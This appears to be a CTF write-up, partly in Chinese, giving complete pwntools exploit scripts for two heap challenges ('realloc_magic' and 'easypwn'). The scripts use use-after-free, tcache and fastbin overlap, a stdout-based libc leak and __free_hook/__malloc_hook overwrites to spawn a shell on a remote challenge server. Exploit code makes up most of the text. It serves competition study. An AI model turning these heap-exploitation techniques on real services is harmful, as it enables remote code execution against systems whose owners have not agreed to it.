realloc_magic
一共三个功能
realloc。realloc 0可以达到free+清零的效果。
free。存在UAF,可以realloc已经free的内存。
backdoor。功能是清零,只能用一次。
overlap tcache 的方法是free块8次,就可以把这一块放到unsorted bin里,把块分为A|B,A和B得不一样大,realloc(A.size)得到A,realloc(0)把A放到tcache里,realloc(B.size)得到B,realloc(0)把B放到tcache里,realloc(A+B的size)改B的size和fd,realloc(B.size),realloc(0),再realloc(B.size)就可以得到fd所在的内存。
通过以上overlap的方法改stdout泄露返回地址,ba()清空地址, overlap改__free_hook
:把libc.symbols['__free_hook']-8
改为'/bin/sh\x00' + p64(libc.symbols['system'])
。
改realloc_hook行不通,暂不知道为什么。
from pwn import *
debug=1
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if debug:
io = process("./realloc_magic.dms")
else:
io = remote("39.97.182.233",37783)
elf = ELF('./realloc_magic.dms')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda x :io.send(str(x))
sa = lambda x,y :io.sendafter(str(x), str(y))
sl = lambda x :io.sendline(str(x))
sla = lambda x,y :io.sendlineafter(str(x), str(y))
r = lambda x :io.recv(x)
ru = lambda x :io.recvuntil(x)
def realloc(sz,data):
ru('>> ')
sl('1')
ru('Size?')
sl(str(sz))
ru('Content?')
s(data)
def free():
ru('>> ')
sl('2')
def ba():
ru('>> ')
sl('666')
ru("Done\n")
realloc(0x100+0xf0+0x20-8,"0")
realloc(0x100+0xf0-8,"1")
for i in range(7):
free()
realloc(0,'')
realloc(0x100-8,"2")
realloc(0,'')
realloc(0xf0-8,"3")
for i in range(7):
free()
realloc(0,"")
realloc(0x1f0-8,"1"*0xf8+p64(0x31)+"\x60\x07\xdd")
realloc(0,'')
realloc(0xf0-8,"1")
realloc(0,'')
c=p64(0xfbad1800)
c+=p64(0x0)*3
c+='\x80'
realloc(0xf0-8,c)
ru('\n')
libc.address=u64(r(8))-0x3ec780
log.success("libc base:"+hex(libc.address))
ba()
realloc(0xe0+0x20-8,"1")
realloc(0xa0+0x40-8,"1")
for i in range(7):
free()
realloc(0,'')
realloc(0xa0-8,"a")
realloc(0,'')
realloc(0x40-8,"a")
realloc(0,'')
realloc(0xa0+0x40-8,"1"*0x98+p64(0x51)+p64(libc.symbols['__free_hook']-8))
realloc(0,'')
realloc(0x40-8,"1")
realloc(0,'')
ogs=[324293,324386,1090444]
realloc(0x40-8,'/bin/sh\x00' + p64(libc.symbols['system']))
ru('>> ')
sl('2')
io.interactive()
easypwn
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
def change_ld(binary, ld):
"""Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return path
debug=0
if debug ==1:
path=change_ld('./easy_pwn.dms', './ld.so.2')
io = process(path,env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF("./libc.so.6")
elf=ELF(path)
elif debug==0:
io = remote("39.97.182.233",34223)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./easy_pwn.dms")
elif debug==2:
io = process("./easy_pwn.dms")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./easy_pwn.dms")
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
def create(size):
ru("choice: ")
sl('1')
ru("size: ")
sl(str(size))
def write(idx,size,content):
ru("choice: ")
sl('2')
ru("index: ")
sl(str(idx))
ru("size: ")
sl(str(size))
ru("content: ")
s(content)
def drop(idx):
ru("choice: ")
sl('3')
ru("index: ")
sl(str(idx))
def show(idx):
ru("choice: ")
sl('4')
ru("index: ")
sl(str(idx))
create(0x70-8)
create(0x20-8)
create(0xc0-8)
create(0x70-8)
create(0x70-8)
write(0,0x70+10-8,'a'*(0x70-8)+'\xe1')
drop(1)
create(0xe0-8)#1
write(1,0x20,'a'*(0x20-8)+p64(0xc1))
drop(2)
show(1)
ru("content: ")
r(0x20)
unsorted_bin=u64(r(6).ljust(8,'\x00'))
log.success(hex(unsorted_bin))
libc.address=unsorted_bin-0x3c4b78
create(0x70-8)#2
drop(2)
content=p64(libc.symbols['__malloc_hook']-0x23)
print hex(u64(content))
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libc.address+onegadgets[1]
c='a'*(0x20-8)
c+=p64(0x71)
c+=content
write(1,len(c),c)
create(0x70-8)
create(0x70-8)
c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8
c="d"*0xB+p64(onegadget)+p64(libc.symbols['realloc'])+'\x00'*8
write(5,len(c),c)
create(1)
io.interactive()